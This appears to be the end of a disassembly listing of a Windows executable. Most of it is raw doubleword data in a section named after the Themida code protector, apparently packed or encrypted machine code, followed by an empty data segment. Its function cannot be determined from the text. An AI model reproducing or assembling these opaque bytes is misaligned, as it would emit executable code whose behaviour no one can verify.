0F7805100h dd 0D7815EBDh, 26449C52h, 3830Fh, 0E2800000h, 0A0EA808Eh dd 0AE8h, 187CBE00h, 0BC9F0F89h, 0E9703273h, 11h, 27C9D8A2h dd 7F4F41F4h, 0DD9A16C8h, 5E332F59h, 66605BEFh, 5326CF81h dd 0C4C78166h, 0E38161F9h, 269CB4Eh, 66D1B70Fh, 0BBE9DFBAh dd 5EF81480h, 0C480DE8Bh, 0A4D281BCh, 5060F281h, 6659F98Bh dd 8BF8FE8Bh, 816656DAh, 593111DAh, 9E9h, 0A7638900h, 55AE566Fh dd 0BABE5CE1h, 0E976F6BBh, 10h, 0C6A62466h, 57D8C07Ch dd 758D970Bh, 0C117367Ah, 8166F18Bh, 0F5AC13D8h, 28C0Fh dd 0C68B0000h, 0A840Fh, 0F600000h, 8Fh, 6110B500h, 0D925BF66h dd 0BAC78B66h, 160F09CFh, 0C3805956h, 91B966B8h, 0E38053B2h dd 0ACB05E4Fh, 8D0Fh, 6E90000h, 26000000h, 0E1AF402Bh dd 8890FF6h, 0F000000h, 28Eh, 66616000h, 1FBDC981h, 0BE6673B0h dd 0C38B7F66h, 66DBBF0Fh, 2F07D781h, 1D840Fh, 11E80000h dd 2000000h, 0B1E75626h, 65D24C13h, 0CC7D62B3h, 22544826h dd 810Fh, 80590000h, 0CE8199CAh, 6E2FC420h, 8BB9C580h dd 8F0FFCD3h, 3, 0E8F08B66h, 12h, 4D371E90h, 0A7C15D7Dh dd 308C602Dh, 8AC60CC0h, 850F3503h, 2, 0F585A50h, 48Dh dd 4BBF6600h, 0F181663Fh, 0D48A0004h, 0DCD18166h, 0BBF18B85h dd 753E22ACh, 0AE9h, 0A704AA00h, 7B9570F6h, 80C86428h dd 8E0F07CFh, 2, 0E860C28Bh, 0Fh, 7F83B52Dh, 5D639F9Ch dd 41F204D7h, 0B9343D5Dh, 7D3FBD74h, 8B66615Fh, 11E9FEh dd 3D650000h, 995766CCh, 483CA71Ah, 0B1B6DF9Ah, 0B62B610Ch dd 38C0F11h, 66000000h, 0D681D98Bh, 4201ED50h, 0C50A43B9h dd 0DB81664Eh, 0BF0FAFD7h, 0C88B66DFh, 148B0Fh, 860F0000h dd 0Eh, 8E8h, 73716E00h, 5DBD4A51h, 0F5805F81h, 2FBA66F2h dd 9CE8127h, 53658EDFh, 6059D88Bh, 0EE8h, 41D68B00h, 2982FB59h dd 0AA96BA14h, 66C98CA7h, 4C33EA81h, 0F606158h, 7E9D3B7h dd 5C000000h, 2CFAE249h, 0BE616717h, 601E2EB3h, 1DC3E081h dd 60600804h, 0F615950h, 6661C0B7h, 6053D98Bh, 5E9B0B3h dd 0AE000000h, 0A37FB0CFh, 14E95E61h, 84000000h, 87A39A34h dd 0D4C2D7DBh, 0A34AB7CEh, 6C209B7h, 66D52D9Ah, 51FC781h dd 13E9C88Bh, 92000000h, 0EB915B38h, 2EA405A0h, 8832DB04h dd 4A5F5C58h, 880F5B5Bh, 19h, 11E851h, 0D4820000h, 8572E90Eh dd 0DAF9CAFh, 4F03844Ch, 5871EF01h, 0D1CF815Bh, 5661335Ch dd 8A5BD08Bh, 0C98166C7h, 0B70F1639h, 58D0FCAh, 0BA000000h dd 2C57CE5Ah, 13E8h, 153E4D00h, 764FC208h, 444F80BAh, 0B50B4DCDh dd 1612BD91h, 0F95EF08Bh, 8E4DBE66h, 0EAF28166h, 0FFA8B84h dd 382h, 0F1BF0F00h, 0F98E280h, 80h, 0BED08B00h, 6683A6CDh dd 43B3F88Ah, 5FB5C68Bh, 38E0Fh, 0B70F0000h, 0FE8DAh, 46DF0000h dd 2BA31E64h, 0E03B352Fh, 0C45D7E9Dh, 3800F95h, 0F000000h dd 5759D1B7h, 5B47DF80h, 5E9h, 405F3200h, 0DA81DBD3h, 44D6D863h dd 8E8h, 0E2B26F00h, 0CD927595h, 8166565Bh, 5B4259DFh dd 66F08A5Ah, 8AF9CA8Bh, 80FA8AE5h, 5E952D5h, 0F4000000h dd 3A6DBD8h, 0CE9h, 0F319E000h, 362714Fh, 8C18098Dh, 6E948h dd 0B3640000h, 56630233h, 5CF38166h, 0FD78BEEh, 1181h dd 0B890F00h, 0E9000000h, 6, 3EFEAEF1h, 8B608AC0h, 0FE8D8h dd 18480000h, 0BCAADD85h, 73C1712Ch, 9DDAA9A1h, 6E8A0h dd 131B0000h, 3D71501Eh, 66615958h, 0F80D75BBh, 8C0FC18Bh dd 0Bh, 58A0Fh, 81660000h, 0F9D1E5DBh, 8E9h, 3B500800h dd 2A0F23Dh, 58B0FC2h, 66000000h, 0A058D981h, 0A5BE72BAh dd 0EE96049h, 0F000000h, 0D1FBC6AFh, 0C3C2342Ch, 835C3CFBh dd 619AB194h, 5E9h, 1A553100h, 0D9818AABh, 49BDE131h, 1F027FB8h dd 0BF666049h, 6061221Ah, 3880Fh, 0BF0F0000h, 8E9F9h, 55590000h dd 60565972h, 0F616E5Fh, 8B66C6BFh, 0BF0F60F0h, 0C88061D8h dd 0FF0811Bh, 0F173616h, 0D48ACFB7h, 3870Fh, 0B70F0000h dd 830FF3h, 66000000h, 0C4B2F081h, 0CCD28166h, 417AB9CEh dd 8B664508h, 0B850FCD7h, 67FEECD9h, 6693B25Eh, 0FDBEDB81h dd 5E950h, 4CA0000h, 590B9D47h, 0BF0FF28Bh, 0BBF78BCEh dd 26F481B1h, 8166CF8Ah, 0F3571EEh, 28Fh, 0FCB8B00h, 887h dd 8D0F5700h, 0 dd 0DE85Ah, 527C0000h, 54F3D087h, 3DE28AEFh, 0B9811153h dd 122A6EE1h, 0C4B96659h, 0C18B605Bh, 0CE8h, 89605000h dd 0C027E5A7h, 0BC489E9Dh, 0ADBB664Ah, 0BE615F71h, 160D8C1Bh dd 1F1060BAh, 850FF803h, 1Ah, 5E860h, 5A7C0000h, 58E613C3h dd 8E9h, 0C4C3A500h, 7E4609A3h, 830F61B0h, 4, 5FDA8B52h dd 2850Fh, 0EB8A0000h, 1800Fh, 0FF50000h, 284h, 60F08B00h dd 0F61F5F5h, 8Fh, 0ABE6600h, 5FD88039h, 8E951h, 16130000h dd 0C002BE43h, 605EE82Eh, 0E9C28B66h, 0Dh, 0BD1E565Fh dd 0D78A12C9h, 7475FF9Bh, 8B66614Ch, 26E180C2h, 159BBF66h dd 536044BFh, 0E950527Eh, 0Ch, 7409B1FDh, 9C075CE0h, 5FB0A87h dd 0B9665E5Eh, 890FE42Fh, 10h, 0BE9h, 0C6B30900h, 5B14D8A7h dd 247E523Dh, 0CE9h, 6B691B00h, 0DF019F4Ah, 0F6B1A017h dd 88A0F0Ah, 0F000000h, 28Ch, 0F9595600h, 13840Fh, 0EE90000h dd 84000000h, 0BB26119Eh, 7A4EEEE8h, 0A6855351h, 14E905h dd 0C94E0000h, 888EE78Dh, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh dd 0BF0F4477h, 0DEB70FF8h, 0E852B7F5h, 10h, 0E947A0DDh dd 793252A9h, 8355A05Bh, 0F40E79DFh, 5AB2D580h, 2830Fh dd 0FA8B0000h, 6E9h, 524D4A00h, 0F9230EEh, 382h, 0F9BF0F00h dd 3E08166h, 10E9AEh, 0C4570000h, 19E4DD47h, 837732Fh dd 6B20B14h, 8B66340Ah, 0C78166F9h, 6660AC30h, 0FD341BAh dd 189h, 8B61F900h, 7E9CEh, 46590000h, 878A624Eh, 0CA8B66D8h dd 4820Fh, 60500000h, 8B665861h, 0A6F181FBh, 6644D2EFh dd 0F778FBAh, 284h, 0E99BB100h, 11h, 4C98D741h, 0F5AACCA1h dd 87BF8502h, 0FD6642F7h, 28A0FFAh, 8B000000h, 9CF281C3h dd 0E960F806h, 0Ch, 926D7638h, 25D80ED5h, 0BAEF8438h, 1C810Fh dd 14E80000h, 6A000000h, 6563270Eh, 0B23BAF3Ah, 56055AD6h dd 842ADA44h, 8A1567D1h, 0F5659F4h, 665BC0B7h, 0DF8BCF8Bh dd 1820Fh, 81F50000h, 0BAD9BEDEh, 0D8816627h, 8F0F7144h dd 6, 20FCC181h, 0CD8042E4h, 58B0F63h, 66000000h, 3169D081h dd 890FF28Bh, 12h, 0DE9h, 0E47CCA00h, 95E868DEh, 6E8A3h dd 60FC31C8h, 8077B866h, 0AE9h, 0B8738200h, 6827BD04h dd 61C6FCCBh, 3121F281h, 0F85610D6h, 0C8B8665Ah, 8A92B451h dd 0CCBF66F1h, 0D0B2F8C2h, 0FBF0C381h, 0D1BA4E8Bh, 524D9D4Fh dd 34CA815Eh, 8027FAE4h, 830FC2E1h, 5, 7CCF91BAh, 0E181660Eh dd 14E8969Eh, 21000000h, 0C5503293h, 0D77B8AAEh, 63AB7962h dd 39570609h, 66190ABDh, 0BE7EEF81h, 8B66515Eh, 0B9665AD7h dd 81663F96h, 0E870FBD2h, 13h, 2DD35230h, 0AD730D34h, 0FD073306h dd 93F90B11h, 66C19F0Ah, 665EC18Bh, 25ADA81h, 58F0FF9h dd 66000000h, 5F97F081h, 3D78C881h, 87B93767h, 0E86315EAh dd 8, 87EFA7E3h, 0C681227h, 0B8D0Fh, 5E80000h, 0CD000000h dd 3EDEC2F1h, 12E9585Bh, 36000000h, 439A5420h, 4F53CE2h dd 57AC8118h, 6A39CA8Fh, 0B3F38B58h, 520EB5C6h, 14E9h dd 0A1336800h, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah, 5FF120F9h dd 0BE665B09h, 0F18B1D02h, 0BACF8B60h, 0F95CF91h, 90DE8161h dd 66168591h, 0CFABE781h, 0E9F3B70Fh, 8, 520782E1h, 0D1AEDA10h dd 0A725BB66h, 10E9h, 485C9300h, 8AFE62BAh, 0C2B1D42Bh dd 874DF11Eh, 0C88166D5h, 870FD1F1h, 0 dd 0E9C6BF0Fh, 5, 0D5E8A88Dh, 0F3E781CCh, 0E93973C5h, 10h dd 0FACEA1FEh, 6B5D8F80h, 0F210FABEh, 5E625AF5h, 5E96053h dd 8A000000h, 517DF90Dh, 95C88166h, 535F61E2h, 606058F9h dd 14E8h, 4B7BEE00h, 74850930h, 56B805DCh, 0DF142CB1h dd 669025C0h, 0D0815E13h, 2B481417h, 617EB561h, 0F836B2F5h dd 661CCD80h, 0FA8BD38Bh, 69D18166h, 0D2816654h, 8B0F75A4h dd 1, 0E98166FCh, 8060DAFAh, 8161B7D9h, 6B0A02C2h, 8B66FC7Ah dd 0DBEF81F2h, 0B2588083h, 0E8F18BBCh, 7, 6467AAD6h, 660BB629h dd 0EBF0E381h, 0B7FE8B59h, 0BAFB8B0Bh, 7E5CC34Dh, 6E9h dd 9BC7D400h, 0FC094E8Fh, 13860Fh, 0E9560000h, 0Ch, 0D13607Ah dd 5D94C0E8h, 4C35F612h, 0D281F55Ah, 681EA4BAh, 5840Fh dd 81660000h, 0E8B455C8h, 10h, 30907F67h, 0D66B7504h, 5F011FE1h dd 80C8B959h, 58FCC180h, 0B86696B5h, 8B66CF10h, 0CEBF0FD0h dd 33EA8166h, 0B260FC24h, 0E8FC6018h, 7, 13059908h, 59600740h dd 0DE96161h, 0BC000000h, 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah dd 0CE9h, 5E47EF00h, 58D10F5Bh, 3113E4DFh, 5317BA16h, 12E9618Fh dd 49000000h, 0CDDBD521h, 1621D88Ah, 374D21D1h, 11F76C32h dd 66F081DDh, 0E801EDB5h, 0Bh, 25E66C73h, 417ADE66h, 59465295h dd 0C7F5E881h, 0BF0F6282h, 8E8DFh, 0CBE50000h, 0AB312E3Bh dd 5AF9639Bh, 0BCE504B9h, 9E94Ah, 6B320000h, 48674E85h dd 0B083865Fh, 6689B4D6h, 850FCB8Bh, 2, 0B70FF18Ah, 880F56F3h dd 3, 582CF480h, 33D0E181h, 8160702Bh, 9ECC76E9h, 6CBF665Ch dd 12E96168h, 68000000h, 6A19F9E1h, 0EFA0B5B8h, 0E74FB926h dd 1AFCDF20h, 0FC50B4ACh, 9B273BBBh, 0E9816600h, 8B66CD3Ch dd 816651D6h, 5F42EEEAh, 0EE8h, 46D6800h, 325956D0h, 0A20EFF0Eh dd 66757FF2h, 7F59C081h, 0D8B70F58h, 1551BF66h, 3FD98166h dd 58F85237h, 81CF8B66h, 89B0BADBh, 0E781666Eh, 9E86EEEh dd 2000000h, 633D326Eh, 0F97FC63Bh, 0FE957h, 885F0000h dd 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 0E9595E3Bh, 10h, 177BCAE1h dd 607B0DACh, 651E4E0Ah, 46AC5A37h, 0F9E1E180h, 8F0FE3B5h dd 19h, 14E9h, 0F6F30A00h, 0CDC62914h, 0A347BAC7h, 0C6128D62h dd 89FC4420h, 66C88B3Bh, 3AB6EB81h, 0CE9h, 30996D00h, 28F55897h dd 0AC05D86Eh, 8E0F535Bh, 18h, 12E8h, 1CCFCA00h, 0B8B18A9Ch dd 1591DD22h, 82DBF451h, 58CC1849h, 0EE9535Fh, 0A000000h dd 2DB9E47Dh, 0D807A8B2h, 68B5F0F4h, 0F48A5F89h, 13E9h dd 56EB8F00h, 0C9655092h, 5160886Ah, 0AB704C99h, 34B0FEE8h dd 0EE9h, 0EBB6C900h, 414B4A6Fh, 0AE3B4BF4h, 0E9400760h dd 11h, 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 4D570A3Bh, 0F57569Dh dd 82h, 0F8585800h, 4470C681h, 0B8660383h, 8E8B734h, 0FF000000h dd 0D913ACDDh, 0B05EE187h, 8F0F5876h, 8, 2870Fh, 0D88A0000h dd 7850Fh, 66530000h, 49FBF281h, 0E9CE8A58h, 0Ah, 0BA70D534h dd 1DE6D4FAh, 8E0FA783h, 3, 8AF0B70Fh, 8E9C6h, 0E5E00000h dd 27A1C94Ah, 0DE81741Ch, 28EEBAB7h, 624ED681h, 8E0F44CDh dd 5, 0C00CFFB8h, 0EDE48028h, 162286BBh, 0F28B6674h, 0DE9h dd 42EC0500h, 0BC1AEC7Dh, 0DAA80F3Ch, 0DF8B2356h, 0E98024B5h dd 1B830F2Ah, 53000000h, 13E8h, 0DBF90300h, 35D0B911h dd 0A740B06h, 0CE16D42Ah, 99729561h, 820F5B5Fh, 12h, 0DE9h dd 11EE3500h, 5BD03FD6h, 0A6730C9h, 0BA66C8DBh, 0FAB21A06h dd 38D0Fh, 0BF0F0000h, 62BE60C6h, 0E938F081h, 0Dh, 906470BFh dd 7B1BD96Fh, 74EA4466h, 0E1B5610Bh, 18BF5952h, 0F284A10h dd 8166F3B7h, 0F15F1DEh, 8166F7B7h, 0F59AA5F1h, 0CE860h dd 9BF0000h, 3B1DCE5Ah, 8C03D348h, 5E87045h, 0B5000000h dd 578F9A98h, 0F51585Bh, 89h, 8B615800h, 3DD980FEh, 8116E480h dd 23AA1AD7h, 0C8816659h, 0BF0FD442h, 0A9BF57F0h, 5F21FD25h dd 0BABD381h, 0DE912BCh, 0E8000000h, 0C04AC2E5h, 0E582AA6h dd 4D7100A5h, 5800Fh, 81660000h, 66599CF3h, 0B0D6E081h dd 0BF0FAEB6h, 0C18166C9h, 0AE876B6h, 9F000000h, 733146D2h dd 8FC55391h, 665EF9C8h, 0B70FC18Bh, 5860FD9h, 51000000h dd 5BD3B70Fh, 28E0Fh, 0C18B0000h, 0B70FF0B4h, 0ACC281C6h dd 80080751h, 27B746E4h, 8F0FD48Ah, 0 dd 5977B550h, 0FCD6BF0Fh, 0EFC78052h, 0C38B6658h, 5DD38166h dd 3830FAAh, 0F000000h, 0CF8BC1B7h, 26D6A9B8h, 35BB663Bh dd 8B6660FBh, 0C18B61CFh, 0FE85F51h, 0D6000000h, 9DF4E3B2h dd 0EB37FCAAh, 0B6B8E5DEh, 0BF663B94h, 665ECC28h, 0E923FFBFh dd 0Bh, 72D7CB71h, 75743C53h, 0E9F6FC5Bh, 14h, 0D8CE2F7Eh dd 1278F2E5h, 7A608BC3h, 87849073h, 623F18E2h, 0A84132BEh dd 8B66FC09h, 0DD97BFF7h, 8B660B31h, 656FBACFh, 8D0F0834h dd 3, 0FC5BCF80h, 0FAB70FF9h, 980BBE66h, 13E9h, 0C3A61B00h dd 8EA6DC7Fh, 0AA57A119h, 4B50F8EEh, 2D6C7037h, 7E9h, 0ADED9000h dd 120319D0h, 0FFA8B66h, 282h, 0FC5F5100h, 0E9CB8B66h dd 0Bh, 72D7CB71h, 75743C53h, 80F6FC5Bh, 0BF0F5BD0h, 0BCA81D7h dd 0F55CEB5h, 1888h, 128B0F00h, 0E9000000h, 0Dh, 0A1DF3B7Ah dd 0D892AEDDh, 51EE7599h, 0EE81667Fh, 0D880ED26h, 9E860DAh dd 8C000000h, 4EB7E234h, 35C66141h, 665AFD8Ah, 9462DF81h dd 3840F61h, 0F000000h, 0BB66F1BFh, 0F1818A04h, 0B30E673h dd 605AFC51h, 830F51h, 5F000000h, 0F5F5060h, 8Eh, 0F616100h dd 0C8Eh, 7E900h, 83330000h, 9867DE1Dh, 0F1BA57BCh, 5E59263Dh dd 0FE957h, 4E440000h, 454D8FF0h, 2993C617h, 8BBFD99Bh dd 830F588Ch, 0Bh, 800F60h, 66000000h, 0B161D18Bh, 0B6F5BE7Eh dd 8E91928h, 72000000h, 0FD9647F7h, 0F5190D2Ah, 8870Fh dd 80600000h, 0BF0F68C7h, 820F61C9h, 8, 0B2F68157h, 5A14C8EAh dd 0BFFEB960h, 0C68B0700h, 0EB816661h, 8D0F358Eh, 0 dd 9D5CBE66h, 6820Fh, 0C3810000h, 4F89CE44h, 0FF3BF0Fh dd 0BF0FD3BFh, 0C78166DEh, 0F18B7D8Bh, 0A2BD40BEh, 10E866h dd 0AC170000h, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0D78BE251h dd 8E95Ah, 0A9060000h, 0DF0AD381h, 890F1FA6h, 0Ch, 6880Fh dd 800F0000h, 0 dd 0E84DCD80h, 0Ch, 0FE1A8674h, 7AB4E3F2h, 0A312185Fh dd 8E9h, 893FC500h, 2D6B5A14h, 8E85E1Ch, 0A7000000h, 29CCAEAFh dd 0B16472CEh, 0EE815F66h, 5F5AB056h, 9CC58051h, 5880F59h dd 66000000h, 7037C181h, 0F8E0Fh, 7E80000h, 17000000h dd 39548BDh, 5E52D8AEh, 0F88B605Fh, 92B950B9h, 0AE96112h dd 80000000h, 0E998EA40h, 1A6EFA14h, 0BE665356h, 535AD84Fh dd 7DCEBE66h, 0E1E8815Fh, 8A265786h, 27EB81C2h, 606FBA3Eh dd 9EC98166h, 810F523Ch, 0 dd 5CB0615Bh, 0ACE3B966h, 2860F60h, 8A000000h, 61E58ADEh dd 12E960h, 58A80000h, 6D9BDDFCh, 0DB234465h, 677F5403h dd 78DA42A3h, 5E861h, 637F0000h, 6647837Dh, 605BFE8Bh dd 0E933C180h, 7, 7240B8EFh, 61753296h, 0DE9D88Bh, 27000000h dd 8D7B58BDh, 511AFB11h, 8EEB87F3h, 0B434F4BFh, 0FBC9810Dh dd 0F0E3710h, 385h, 0F28B6600h, 2893B856h, 60580586h, 8E9h dd 0F8176700h, 0E3B63133h, 0C8B70F18h, 0D08B6661h, 0B4DDE180h dd 8DEE8006h, 0CE8h, 19E05700h, 62714FF3h, 18098D03h, 7FB5608Ch dd 800F5861h, 2, 0A6BFF18Bh, 0B17E59C8h, 0FF38BCCh, 58Bh dd 0D2816600h, 9E98B69h, 0D000000h, 6C16F223h, 2048329Bh dd 58FC51FCh, 52E08166h, 0FEB70F53h, 48C0Fh, 0BB660000h dd 0CE96F79h, 95000000h, 0C05AE358h, 0DE9CB096h, 6686B150h dd 815FA2B9h, 0A0CB80E3h, 4F08122h, 6651E2C2h, 1DC8D881h dd 13E95250h, 41000000h, 32DD5D21h, 433CD04Ah, 67B3D85Ch dd 0ACC4AED7h, 5A5E8288h, 0C893B966h, 0BE66F38Bh, 0CE80B158h dd 7FE880CAh, 0D6BF0F60h, 816661FCh, 814740C1h, 35DA8CDEh dd 0BE843h, 274C0000h, 0D9D2B841h, 9F301120h, 0F58F997h dd 78Ch, 0A1BF5000h, 5E556F3Dh, 34F78166h, 0FF18B28h, 42B3D0B7h dd 13E9h, 0B9D47300h, 59B9F83Dh, 0A42D8383h, 0D25A0556h dd 2C8061B3h, 0BBEB8A60h, 7F3FD565h, 21BE6661h, 79BF662Ah dd 860F513Dh, 6, 8C0Fh, 0E9580000h, 7, 367380EEh, 0E8944ADEh dd 0Ah, 6F7C8344h, 6951D095h, 7E8EC31h, 49000000h, 0B6B60AB8h dd 5B500ACAh, 0BF0F5958h, 0F55252DEh, 0F08B5A59h, 7FE08151h dd 5F507189h, 3CEF8166h, 15830F89h, 0E9000000h, 10h, 0FEF23BEFh dd 0D08AB59Ah, 2CAF95FCh, 0D68356FAh, 0DE9D78Bh, 67000000h dd 1F71C222h, 70556791h, 39F28C3Ah, 7861C681h, 8B530ED6h dd 0CE85BC7h, 25000000h, 0FA55919Dh, 0AF8BC0C5h, 0F726E42h dd 28Bh, 59616000h, 5E8h, 0E4896F00h, 8166B615h, 5F9D58E2h dd 3830Fh, 0BF0F0000h, 5E8CAh, 2BF60000h, 0B856B070h, 2B1AFE45h dd 8B66605Eh, 619DB3D0h, 2880Fh, 0D08B0000h, 0CCD38056h dd 0E9F8F95Eh, 8, 87A9F9Dh, 0D13B24C1h, 8EDB81FCh, 0E9369ABEh dd 6, 0AAB49343h, 0E781D7ADh, 3ED36C9Eh, 2DBFC981h, 5E9574Fh dd 68000000h, 5DD4675Ah, 0F59BB66h, 5E8h, 0DB2D1800h, 95B1925h dd 5 dup(5EAF446h), 9CEAF446h, 17Ch dup(9DD9B827h), 0C32B827h dd 1F5h dup(0C32AFDDh), 35Ah dup(0A6690873h), 0DE690873h dd 8Ch dup(0DEB64CFCh), 0BEF04CFCh, 18Eh dup(0BEF007DCh) dd 86F007DCh, 12Ah dup(87ADC425h), 9E6h dup(0CCCCCCCCh) dd 0CCCCCCh, 217h dup(0) Themida_ ends ; Section 5. (virtual address 001C2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C2000h dd 80h dup(0) align 1000h _idata2 ends end start